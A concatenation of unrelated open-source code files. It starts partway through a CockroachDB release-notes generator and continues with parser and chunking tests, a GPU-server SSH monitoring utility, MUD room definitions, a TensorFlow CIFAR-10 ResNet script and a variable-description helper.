name_to_object(repo, refname) noteexpr = re.compile("^%s: (?P<message>.*) r=.* a=.*" % pr[1:], flags=re.M) m = noteexpr.search(merge.message) note = '' if m is None: # GitHub merge note = merge.message.split('\n',3)[2] else: # Bors merge note = m.group('message') note = note.strip() merge_base_result = repo.merge_base(merge.parents[0], tip) if len(merge_base_result) == 0: print("uh-oh! can't find merge base! pr", pr, file=sys.stderr) exit(-1) merge_base = merge_base_result[0] commits_to_analyze = [tip] seen_commits = set() missing_items = [] authors = set() ncommits = 0 for commit in repo.iter_commits(merge_base.hexsha + '..' + tip.hexsha): spin() if commit in seen_commits: # We may be seeing the same commit twice if a feature branch has # been forked in sub-branches. Just skip over what we've seen # already. continue seen_commits.add(commit) if not commit.message.startswith("Merge"): missing_item, prauthors = process_release_notes(pr, note, commit) authors.update(prauthors) ncommits += 1 if missing_item is not None: missing_items.append(missing_item) if ncommits == len(missing_items): # None of the commits found had a release note. List them. for item in missing_items: missing_release_notes.append(item) text = repo.git.diff(merge_base.hexsha, tip.hexsha, '--', numstat=True) stats = Stats._list_from_string(repo, text) collect_item(pr, note, merge.hexsha[:shamin], ncommits, authors, stats.total, merge.committed_date) def collect_item(pr, prtitle, sha, ncommits, authors, stats, prts): individual_authors.update(authors) if len(authors) == 0: authors.add("Unknown Author") item = makeitem(pr, prtitle, sha, authors) item.update({'ncommits': ncommits, 'insertions': stats['insertions'], 'deletions': stats['deletions'], 'files': stats['files'], 'lines': stats['lines'], 'date': datetime.date.fromtimestamp(prts).isoformat(), }) history = per_group_history.get(item['authors'], []) history.append(item) per_group_history[item['authors']] = history def analyze_standalone_commit(commit): # Some random out-of-branch commit. Let's not forget them. authors = collect_authors(commit) title = commit.message.split('\n',1)[0].strip() item = makeitem('#unknown', title, commit.hexsha[:shamin], authors) missing_release_notes.append(item) collect_item('#unknown', title, commit.hexsha[:shamin], 1, authors, commit.stats.total, commit.committed_date) # Collect all the merge points so we can report progress. mergepoints = get_direct_history(firstCommit, commit) i = 0 progress = 0 lastTime = time.time() for commit in mergepoints: progress = int(100. * float(i) / len(mergepoints)) newTime = time.time() if newTime >= lastTime + 5: print("\b.%d%%\n." % progress, file=sys.stderr, end='') lastTime = newTime i += 1 spin() ctime = datetime.datetime.fromtimestamp(commit.committed_date).ctime() numbermatch = merge_numbers.search(commit.message) # Analyze the commit if numbermatch is not None: prs = numbermatch.group("numbers").strip().split(" ") for pr in prs: print(" \r%s (%s) " % (pr, ctime), end='', file=sys.stderr) analyze_pr(commit, pr) else: print(" \r%s (%s) " % (commit.hexsha[:shamin], ctime), end='', file=sys.stderr) analyze_standalone_commit(commit) print("\b\nAnalyzing authors...", file=sys.stderr) sys.stderr.flush() allgroups = list(per_group_history.keys()) allgroups.sort(key=lambda x:x.lower()) print("\b\nComputing first-time contributors...", end='', file=sys.stderr) ext_contributors = individual_authors - crdb_folk firsttime_contributors = [] for a in individual_authors: # Find all aliases known for this person aliases = [a] for alias, name in author_aliases.items(): if name == a: aliases.append(alias) # Collect the history for every alias hist = b'' for al in aliases: spin() c = subprocess.run(["git", "log", "--author=%s" % al, options.from_commit, '-n', '1'], stdout=subprocess.PIPE, check=True) hist += c.stdout if len(hist) == 0: # No commit from that author older than the first commit # selected, so that's a first-time author. firsttime_contributors.append(a) print("\b\n", file=sys.stderr) sys.stderr.flush() ### Presentation of results ### ## Print the release notes. # Start with known sections. current_version = subprocess.check_output(["git", "describe", "--tags", "--match=v[0-9]*", options.until_commit], universal_newlines=True).strip() previous_version = subprocess.check_output(["git", "describe", "--tags", "--match=v[0-9]*", options.from_commit], universal_newlines=True).strip() if not hideheader: print("---") print("title: What&#39;s New in", current_version) print("toc: true") print("summary: Additions and changes in CockroachDB version", current_version, "since version", previous_version) print("---") print() print("## " + time.strftime("%B %d, %Y")) print() ## Print the release notes sign-up and Downloads section. if not hidedownloads: print("""Get future release notes emailed to you: <div class="hubspot-install-form install-form-1 clearfix"> <script> hbspt.forms.create({ css: '', cssClass: 'install-form', portalId: '1753393', formId: '39686297-81d2-45e7-a73f-55a596a8d5ff', formInstanceId: 1, target: '.install-form-1' }); </script> </div>""") print() print("""### Downloads <div id="os-tabs" class="clearfix"> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.darwin-10.9-amd64.tgz"><button id="mac" data-eventcategory="mac-binary-release-notes">Mac</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.linux-amd64.tgz"><button id="linux" data-eventcategory="linux-binary-release-notes">Linux</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.windows-6.2-amd64.zip"><button id="windows" data-eventcategory="windows-binary-release-notes">Windows</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.src.tgz"><button id="source" data-eventcategory="source-release-notes">Source</button></a> </div> """) print("""### Docker image {% include copy-clipboard.html %} ~~~shell $ docker pull cockroachdb/cockroach:""" + current_version + """ ~~~ """) print() seenshas = set() seenprs = set() def renderlinks(item): ret = '[%(pr)s][%(pr)s]' % item seenprs.add(item['pr']) if not hideshas: ret += ' [%(sha)s][%(sha)s]' % item seenshas.add(item['sha']) return ret for sec in relnote_sec_order: r = release_notes.get(sec, None) if r is None: # No change in this section, nothing to print. continue sectitle = relnotetitles[sec] print("###", sectitle) print() for item in reversed(r): print("-", item['note'].replace('\n', '\n '), renderlinks(item)) print() extrasec = set() for sec in release_notes: if sec in relnote_sec_order: # already handled above, don't do anything. continue extrasec.add(sec) if len(extrasec) > 0 or len(missing_release_notes) > 0: print("### Miscellaneous") print() if len(extrasec) > 0: extrasec_sorted = sorted(list(extrasec)) for extrasec in extrasec_sorted: print("#### %s" % extrasec.capitalize()) print() for item in release_notes[extrasec]: print("-", item['note'].replace('\n', '\n '), renderlinks(item)) print() if len(missing_release_notes) > 0: print("#### Changes without release note annotation") print() for item in missing_release_notes: authors = item['authors'] print("- [%(pr)s][%(pr)s] [%(sha)s][%(sha)s] %(title)s" % item, "(%s)" % authors) seenshas.add(item['sha']) seenprs.add(item['pr']) print() ## Print the Doc Updates section. print("### Doc updates") print() print("Docs team: Please add these manually.") print() ## Print the Contributors section. print("### Contributors") print() print("This release includes %d merged PR%s by %s author%s." % (len(allprs), len(allprs) != 1 and "s" or "", len(individual_authors), (len(individual_authors) != 1 and "s" or ""), )) ext_contributors = individual_authors - crdb_folk notified_authors = sorted(set(ext_contributors) | set(firsttime_contributors)) if len(notified_authors) > 0: print("We would like to thank the following contributors from the CockroachDB community:") print() for person in notified_authors: print("-", person, end='') if person in firsttime_contributors: annot = "" if person in crdb_folk: annot = ", CockroachDB team member" print(" (first-time contributor%s)" % annot, end='') print() print() ## Print the per-author contribution list. if not hidepercontributor: print("### PRs merged by contributors") print() if not hideshas: fmt = " - %(date)s [%(pr)-6s][%(pr)-6s] [%(sha)s][%(sha)s] (+%(insertions)4d -%(deletions)4d ~%(lines)4d/%(files)2d) %(title)s" else: fmt = " - %(date)s [%(pr)-6s][%(pr)-6s] (+%(insertions)4d -%(deletions)4d ~%(lines)4d/%(files)2d) %(title)s" for group in allgroups: items = per_group_history[group] print("- %s:" % group) items.sort(key=lambda x:x[sortkey],reverse=not revsort) for item in items: print(fmt % item, end='') if not hideshas: seenshas.add(item['sha']) seenprs.add(item['pr']) ncommits = item['ncommits'] if ncommits > 1: print(" (", end='') print("%d commits" % ncommits, end='') print(")", end='') print() print() print() # Link the PRs and SHAs for pr in sorted(seenprs): print("[%s]: https://github.com/cockroachdb/cockroach/pull/%s" % (pr, pr[1:])) for sha in sorted(seenshas): print("[%s]: https://github.com/cockroachdb/cockroach/commit/%s" % (sha, sha)) print()
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tests/elf/test_section_header.py
drazisil/dasm-python
1
147010
<filename>tests/elf/test_section_header.py from dasm.elf.section_header import parse_section_header, get_sh_type def test_parse_section_header(): bytes = (b'\x01\x02\x03\x04\x05\x02\x07\x03' + b'\x09\x0A\x0B\x0c\x0d\x0e\x0f' + b'\x10\x11\x12\x03\x00\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15') parse_section_header(bytes, 64) try: parse_section_header(bytes, 32) assert False except NotImplementedError: assert True try: parse_section_header(bytes, 128) assert False except ValueError: assert True def test_get_sh_type(): assert get_sh_type(0) == 'SHT_NULL' assert get_sh_type(1) == 'SHT_PROGBITS' assert get_sh_type(2) == 'SHT_SYMTAB' assert get_sh_type(3) == 'SHT_STRTAB' assert get_sh_type(4) == 'SHT_RELA' assert get_sh_type(5) == 'SHT_HASH' assert get_sh_type(6) == 'SHT_DYNAMIC' assert get_sh_type(7) == 'SHT_NOTE' assert get_sh_type(8) == 'SHT_NOBITS' assert get_sh_type(9) == 'SHT_REL' assert get_sh_type(10) == 'SHT_SHLIB' assert get_sh_type(11) == 'SHT_DYNSYM' assert get_sh_type(14) == 'SHT_INIT_ARRAY' assert get_sh_type(15) == 'SHT_FINI_ARRAY' assert get_sh_type(16) == 'SHT_PREINIT_ARRAY' assert get_sh_type(17) == 'SHT_GROUP' assert get_sh_type(18) == 'SHT_SYMTAB_SHNDX' assert get_sh_type(19) == 'SHT_NUM' assert get_sh_type(1610612736) == 'SHT_LOOS' try: get_sh_type(12) assert False except ValueError: assert True
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hexrd/distortion/distortionabc.py
glemaitre/hexrd
27
6469
import abc class DistortionABC(metaclass=abc.ABCMeta): maptype = None @abc.abstractmethod def apply(self, xy_in): """Apply distortion mapping""" pass @abc.abstractmethod def apply_inverse(self, xy_in): """Apply inverse distortion mapping""" pass
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util/rooms/roads.py
Polygon-MUD/mud_build
0
50145
<reponame>Polygon-MUD/mud_build from django.contrib.auth.models import User from adventure.models import Player, Room p_dirt_path = Room(title="Dirt Path", description="Easy going path to a variety of adventures") p_mushroom_road = Room(title="Mushroom Road", description="The road to meet Mario") p_desert_path = Room(title="Desert Path", description="Prepare yourself to see the wonders of Shurima") p_marvel_road = Room(title="Marvel Road", description="The path to lead to your superhuman dreams") p_imagination_road = Room(title="Randomizer Road", description="A road that twists and turns beyond the will of fate")
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PiCN/Layers/ChunkLayer/Chunkifyer/test/test_SimpleContentChunkifyer.py
NikolaiRutz/PiCN
0
53185
"""Test for Simple Content Chunkifyer""" import unittest from PiCN.Layers.ChunkLayer.Chunkifyer import SimpleContentChunkifyer from PiCN.Packets import Content, Name class test_SimpleContentChunkifyer(unittest.TestCase): def setUp(self): self.chunkifyer = SimpleContentChunkifyer() def tearDown(self): pass def test_generate_metadata_no_next(self): """Test generating a simple metadata object""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,0, 0,name,300) self.assertEqual(res.name.to_string(), "/test/data") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:") def test_generate_metadata_one_next(self): """Test generating a simple metadata object with one following""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,0,1,name,300) self.assertEqual(res.name.to_string(), "/test/data") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:/test/data/m1") def test_generate_metadata_two_next(self): """Test generating a simple metadata object with two following""" name = Name("/test/data") res = self.chunkifyer.generate_meta_data(2,4,1,2, name,300) self.assertEqual(res.name.to_string(), "/test/data/m1") self.assertEqual(res.content, "mdo:300:/test/data/c2;/test/data/c3:/test/data/m2") def test_chunk_single_metadata(self): name = Name("/test/data") string = "A" * 4096 + "B" * 4096 + "C" * 4096 content = Content(name, string) md, content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data'] md_data_comp = ['mdo:12288:/test/data/c0;/test/data/c1;/test/data/c2:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2'] content_data_comp = ["A" * 4096, "B" * 4096, "C" * 4096] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(content)): self.assertEqual(content[i].name.to_string(), content_name_comp[i]) self.assertEqual(content[i].content, content_data_comp[i]) def test_chunk_multiple_metadata(self): """Test chunking metadata with three metadata objects and 10 chunks""" name = Name("/test/data") string = "A"*4096 + "B"*4096 + "C"*4096 + "D"*4096 + "E"*4096 + "F"*4096 + "G"*4096 + "H"*4096 \ + "I"*4096 + "J"*4000 content = Content(name, string) md, chunked_content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data', '/test/data/m1', '/test/data/m2'] md_data_comp = ['mdo:40864:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1', 'mdo:40864:/test/data/c4;/test/data/c5;/test/data/c6;/test/data/c7:/test/data/m2', 'mdo:40864:/test/data/c8;/test/data/c9:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2', '/test/data/c3', '/test/data/c4', '/test/data/c5', '/test/data/c6', '/test/data/c7', '/test/data/c8', '/test/data/c9'] content_data_comp = ["A"*4096, "B"*4096, "C"*4096, "D"*4096, "E"*4096, "F"*4096, "G"*4096, "H"*4096, "I"*4096, "J"*4000] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(chunked_content)): self.assertEqual(chunked_content[i].name.to_string(), content_name_comp[i]) self.assertEqual(chunked_content[i].content, content_data_comp[i]) def test_chunk_multiple_metadata_reassemble(self): """Test chunking metadata with three metadata objects and 10 chunks and reassemble""" name = Name("/test/data") string = "A" * 4096 + "B" * 4096 + "C" * 4096 + "D" * 4096 + "E" * 4096 + "F" * 4096 + "G" * 4096 + "H" * 4096 \ + "I" * 4096 + "J" * 4000 content = Content(name, string) md, chunked_content = self.chunkifyer.chunk_data(content) md_name_comp = ['/test/data', '/test/data/m1', '/test/data/m2'] md_data_comp = ['mdo:40864:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1', 'mdo:40864:/test/data/c4;/test/data/c5;/test/data/c6;/test/data/c7:/test/data/m2', 'mdo:40864:/test/data/c8;/test/data/c9:'] content_name_comp = ['/test/data/c0', '/test/data/c1', '/test/data/c2', '/test/data/c3', '/test/data/c4', '/test/data/c5', '/test/data/c6', '/test/data/c7', '/test/data/c8', '/test/data/c9'] content_data_comp = ["A" * 4096, "B" * 4096, "C" * 4096, "D" * 4096, "E" * 4096, "F" * 4096, "G" * 4096, "H" * 4096, "I" * 4096, "J" * 4000] for i in range(0, len(md)): self.assertEqual(md[i].name.to_string(), md_name_comp[i]) self.assertEqual(md[i].content, md_data_comp[i]) for i in range(0, len(chunked_content)): self.assertEqual(chunked_content[i].name.to_string(), content_name_comp[i]) self.assertEqual(chunked_content[i].content, content_data_comp[i]) reassembled_content = self.chunkifyer.reassamble_data(md[0].name, chunked_content) self.assertEqual(content, reassembled_content) def test_parse_metadata_next(self): """Test parse metadata with next metadata""" md, names, size = self.chunkifyer.parse_meta_data( "mdo:300:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:/test/data/m1") self.assertEqual(Name("/test/data/m1"), md) names_comp = [Name("/test/data/c0"), Name("/test/data/c1"), Name("/test/data/c2"), Name("/test/data/c3")] self.assertEqual(names, names_comp) self.assertEqual(int(size), 300) def test_parse_metadata(self): """Test parse metadata""" md, names, size = self.chunkifyer.parse_meta_data( "mdo:300:/test/data/c0;/test/data/c1;/test/data/c2;/test/data/c3:") self.assertEqual(None, md) names_comp = [Name("/test/data/c0"), Name("/test/data/c1"), Name("/test/data/c2"), Name("/test/data/c3")] self.assertEqual(names, names_comp) self.assertEqual(int(size), 300)
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wrappers/Python/sbmlsolver/__init__.py
gitter-badger/sbmlsolver
0
18129
<reponame>gitter-badger/sbmlsolver<gh_stars>0 """ The LibRoadRunner SBML Simulation Engine, (c) 2009-2014 <NAME> and <NAME> LibRoadRunner is an SBML JIT compiler and simulation engine with a variety of analysis functions. LibRoadRunner is a self contained library which is designed to be integrated into existing simulation platforms or may be used a stand alone simulation and analysis package. """ from sbmlsolver import * __version__ = getVersionStr()
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gpu_info/utils.py
cnstark/gputasker
35
132562
<gh_stars>10-100 import os import subprocess import json import logging from .models import GPUServer, GPUInfo task_logger = logging.getLogger('django.task') def ssh_execute(host, user, exec_cmd, port=22, private_key_path=None): exec_cmd = exec_cmd.replace('\r\n', '\n').replace('$', '\\$') if exec_cmd[-1] != '\n': exec_cmd = exec_cmd + '\n' if private_key_path is None: cmd = "ssh -o StrictHostKeyChecking=no -p {:d} {}@{} \"{}\"".format(port, user, host, exec_cmd) else: cmd = "ssh -o StrictHostKeyChecking=no -p {:d} -i {} {}@{} \"{}\"".format(port, private_key_path, user, host, exec_cmd) return subprocess.check_output(cmd, timeout=60, shell=True) def get_hostname(host, user, port=22, private_key_path=None): cmd = "hostname" return str(ssh_execute( host, user, cmd, port, private_key_path ).replace(b'\n', b'')).replace('b\'', '').replace('\'', '') def add_hostname(server, user, private_key_path=None): hostname = get_hostname(server.ip, user, server.port, private_key_path) server.hostname = hostname server.save() def get_gpu_status(host, user, port=22, private_key_path=None): gpu_info_list = [] query_gpu_cmd = 'nvidia-smi --query-gpu=uuid,gpu_name,utilization.gpu,memory.total,memory.used --format=csv | grep -v \'uuid\'' gpu_info_raw = ssh_execute(host, user, query_gpu_cmd, port, private_key_path).decode('utf-8') gpu_info_dict = {} for index, gpu_info_line in enumerate(gpu_info_raw.split('\n')): try: gpu_info_items = gpu_info_line.split(',') gpu_info = {} gpu_info['index'] = index gpu_info['uuid'] = gpu_info_items[0].strip() gpu_info['name'] = gpu_info_items[1].strip() gpu_info['utilization.gpu'] = int(gpu_info_items[2].strip().split(' ')[0]) gpu_info['memory.total'] = int(gpu_info_items[3].strip().split(' ')[0]) gpu_info['memory.used'] = int(gpu_info_items[4].strip().split(' ')[0]) gpu_info['processes'] = [] gpu_info_list.append(gpu_info) gpu_info_dict[gpu_info['uuid']] = gpu_info except Exception: continue pid_set = set([]) if len(gpu_info_list) != 0: query_apps_cmd = 'nvidia-smi --query-compute-apps=gpu_uuid,pid,process_name,used_memory --format=csv' app_info_raw = ssh_execute(host, user, query_apps_cmd, port, private_key_path).decode('utf-8') for app_info_line in app_info_raw.split('\n')[1:]: try: app_info_items = app_info_line.split(',') app_info = {} uuid = app_info_items[0].strip() app_info['pid'] = int(app_info_items[1].strip()) app_info['command'] = app_info_items[2].strip() app_info['gpu_memory_usage'] = int(app_info_items[3].strip().split(' ')[0]) if app_info['gpu_memory_usage'] != 0: gpu_info_dict[uuid]['processes'].append(app_info) pid_set.add(app_info['pid']) except Exception: continue pid_username_dict = {} if len(pid_set) != 0: query_pid_cmd = 'ps -o ruser=userForLongName -o pid -p ' + ' '.join(map(str, pid_set)) + ' | awk \'{print $1, $2}\' | grep -v \'PID\'' pid_raw = ssh_execute(host, user, query_pid_cmd, port, private_key_path).decode('utf-8') for pid_line in pid_raw.split('\n'): try: username, pid = pid_line.split(' ') pid = int(pid.strip()) pid_username_dict[pid] = username.strip() except Exception: continue for gpu_info in gpu_info_list: for process in gpu_info['processes']: process['username'] = pid_username_dict.get(process['pid'], '') return gpu_info_list class GPUInfoUpdater: def __init__(self, user, private_key_path=None): self.user = user self.private_key_path = private_key_path self.utilization_history = {} def update_utilization(self, uuid, utilization): if self.utilization_history.get(uuid) is None: self.utilization_history[uuid] = [utilization] return utilization else: self.utilization_history[uuid].append(utilization) if len(self.utilization_history[uuid]) > 10: self.utilization_history[uuid].pop(0) return max(self.utilization_history[uuid]) def update_gpu_info(self): server_list = GPUServer.objects.all() for server in server_list: try: if server.hostname is None or server.hostname == '': add_hostname(server, self.user, self.private_key_path) gpu_info_json = get_gpu_status(server.ip, self.user, server.port, self.private_key_path) if not server.valid: server.valid = True server.save() for gpu in gpu_info_json: if GPUInfo.objects.filter(uuid=gpu['uuid']).count() == 0: gpu_info = GPUInfo( uuid=gpu['uuid'], name=gpu['name'], index=gpu['index'], utilization=self.update_utilization(gpu['uuid'], gpu['utilization.gpu']), memory_total=gpu['memory.total'], memory_used=gpu['memory.used'], processes='\n'.join(map(lambda x: json.dumps(x), gpu['processes'])), complete_free=len(gpu['processes']) == 0, server=server ) gpu_info.save() else: gpu_info = GPUInfo.objects.get(uuid=gpu['uuid']) gpu_info.utilization = self.update_utilization(gpu['uuid'], gpu['utilization.gpu']) gpu_info.memory_total = gpu['memory.total'] gpu_info.memory_used = gpu['memory.used'] gpu_info.complete_free = len(gpu['processes']) == 0 gpu_info.processes = '\n'.join(map(lambda x: json.dumps(x), gpu['processes'])) gpu_info.save() except (subprocess.CalledProcessError, subprocess.TimeoutExpired): task_logger.error('Update ' + server.ip + ' failed') server.valid = False server.save()
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official/resnet/cifar10_main.py
shawdm/experiments-tensorflow-models
1
114834
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Runs a ResNet model on the CIFAR-10 dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import tensorflow as tf import resnet_model import resnet_shared _HEIGHT = 32 _WIDTH = 32 _NUM_CHANNELS = 3 _DEFAULT_IMAGE_BYTES = _HEIGHT * _WIDTH * _NUM_CHANNELS _NUM_CLASSES = 10 _NUM_DATA_FILES = 5 _NUM_IMAGES = { 'train': 50000, 'validation': 10000, } ############################################################################### # Data processing ############################################################################### def record_dataset(filenames): """Returns an input pipeline Dataset from `filenames`.""" record_bytes = _DEFAULT_IMAGE_BYTES + 1 return tf.data.FixedLengthRecordDataset(filenames, record_bytes) def get_filenames(is_training, data_dir): """Returns a list of filenames.""" data_dir = os.path.join(data_dir, 'cifar-10-batches-bin') assert os.path.exists(data_dir), ( 'Run cifar10_download_and_extract.py first to download and extract the ' 'CIFAR-10 data.') if is_training: return [ os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in range(1, _NUM_DATA_FILES + 1) ] else: return [os.path.join(data_dir, 'test_batch.bin')] def parse_record(raw_record): """Parse CIFAR-10 image and label from a raw record.""" # Every record consists of a label followed by the image, with a fixed number # of bytes for each. label_bytes = 1 record_bytes = label_bytes + _DEFAULT_IMAGE_BYTES # Convert bytes to a vector of uint8 that is record_bytes long. record_vector = tf.decode_raw(raw_record, tf.uint8) # The first byte represents the label, which we convert from uint8 to int32 # and then to one-hot. label = tf.cast(record_vector[0], tf.int32) label = tf.one_hot(label, _NUM_CLASSES) # The remaining bytes after the label represent the image, which we reshape # from [depth * height * width] to [depth, height, width]. depth_major = tf.reshape(record_vector[label_bytes:record_bytes], [_NUM_CHANNELS, _HEIGHT, _WIDTH]) # Convert from [depth, height, width] to [height, width, depth], and cast as # float32. image = tf.cast(tf.transpose(depth_major, [1, 2, 0]), tf.float32) return image, label def preprocess_image(image, is_training): """Preprocess a single image of layout [height, width, depth].""" if is_training: # Resize the image to add four extra pixels on each side. image = tf.image.resize_image_with_crop_or_pad( image, _HEIGHT + 8, _WIDTH + 8) # Randomly crop a [_HEIGHT, _WIDTH] section of the image. image = tf.random_crop(image, [_HEIGHT, _WIDTH, _NUM_CHANNELS]) # Randomly flip the image horizontally. image = tf.image.random_flip_left_right(image) # Subtract off the mean and divide by the variance of the pixels. image = tf.image.per_image_standardization(image) return image def input_fn(is_training, data_dir, batch_size, num_epochs=1): """Input_fn using the tf.data input pipeline for CIFAR-10 dataset. Args: is_training: A boolean denoting whether the input is for training. data_dir: The directory containing the input data. batch_size: The number of samples per batch. num_epochs: The number of epochs to repeat the dataset. Returns: A tuple of images and labels. """ dataset = record_dataset(get_filenames(is_training, data_dir)) if is_training: # When choosing shuffle buffer sizes, larger sizes result in better # randomness, while smaller sizes have better performance. Because CIFAR-10 # is a relatively small dataset, we choose to shuffle the full epoch. dataset = dataset.shuffle(buffer_size=_NUM_IMAGES['train']) dataset = dataset.map(parse_record) dataset = dataset.map( lambda image, label: (preprocess_image(image, is_training), label)) dataset = dataset.prefetch(2 * batch_size) # We call repeat after shuffling, rather than before, to prevent separate # epochs from blending together. dataset = dataset.repeat(num_epochs) # Batch results by up to batch_size, and then fetch the tuple from the # iterator. dataset = dataset.batch(batch_size) iterator = dataset.make_one_shot_iterator() images, labels = iterator.get_next() return images, labels ############################################################################### # Running the model ############################################################################### class Cifar10Model(resnet_model.Model): def __init__(self, resnet_size, data_format=None): """These are the parameters that work for CIFAR-10 data. """ if resnet_size % 6 != 2: raise ValueError('resnet_size must be 6n + 2:', resnet_size) num_blocks = (resnet_size - 2) // 6 super(Cifar10Model, self).__init__( resnet_size=resnet_size, num_classes=_NUM_CLASSES, num_filters=16, kernel_size=3, conv_stride=1, first_pool_size=None, first_pool_stride=None, second_pool_size=8, second_pool_stride=1, block_fn=resnet_model.building_block, block_sizes=[num_blocks] * 3, block_strides=[1, 2, 2], final_size=64, data_format=data_format) def cifar10_model_fn(features, labels, mode, params): """Model function for CIFAR-10.""" features = tf.reshape(features, [-1, _HEIGHT, _WIDTH, _NUM_CHANNELS]) learning_rate_fn = resnet_shared.learning_rate_with_decay( batch_size=params['batch_size'], batch_denom=128, num_images=_NUM_IMAGES['train'], boundary_epochs=[100, 150, 200], decay_rates=[1, 0.1, 0.01, 0.001]) # We use a weight decay of 0.0002, which performs better # than the 0.0001 that was originally suggested. weight_decay = 2e-4 # Empirical testing showed that including batch_normalization variables # in the calculation of regularized loss helped validation accuracy # for the CIFAR-10 dataset, perhaps because the regularization prevents # overfitting on the small data set. We therefore include all vars when # regularizing and computing loss during training. def loss_filter_fn(name): return True return resnet_shared.resnet_model_fn(features, labels, mode, Cifar10Model, resnet_size=params['resnet_size'], weight_decay=weight_decay, learning_rate_fn=learning_rate_fn, momentum=0.9, data_format=params['data_format'], loss_filter_fn=loss_filter_fn) def main(unused_argv): resnet_shared.resnet_main(FLAGS, cifar10_model_fn, input_fn) if __name__ == '__main__': tf.logging.set_verbosity(tf.logging.INFO) parser = resnet_shared.ResnetArgParser() # Set defaults that are reasonable for this model. parser.set_defaults(data_dir='/tmp/cifar10_data', model_dir='/tmp/cifar10_model', resnet_size=32, train_epochs=250, epochs_per_eval=10, batch_size=128) FLAGS, unparsed = parser.parse_known_args() tf.app.run(argv=[sys.argv[0]] + unparsed)
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src/describe_variable/tools.py
MikeMajara/describe-variable
1
1616765
from difflib import ndiff from .describer import Describer START_INDENT = 0 DEFAULT_DEPTH = 0 DEFAULT_SPACES = 4 DEFAULT_PRINT_VALUES = True DEFAULT_PRINT_COMPONENTS_MAX = 4 DEFAULT_PRINT_COMPONENTS_TYPE = True def describe(v: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> None: """ Print the description of a variable. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) print(desc.describe_var(v, depth, indent=START_INDENT)) def get_description(v: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> str: """ Get the description of a variable as a string. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) return desc.describe_var(v, depth, indent=START_INDENT) def diff(v1: any, v2: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> str: """ Find differences between two variables description. This is specially useful using when values are printed out. Also note that differences are only found from description, so the differences found depend on the depth parameter. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) description_v1 = desc.describe_var(v1, depth, indent=START_INDENT) description_v2 = desc.describe_var(v2, depth, indent=START_INDENT) print(''.join(ndiff(description_v1.splitlines(1), description_v2.splitlines(1))))
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tests/api_client/test_json_parser.py
saxsys/flask-meetup-data-scraper
1
193229
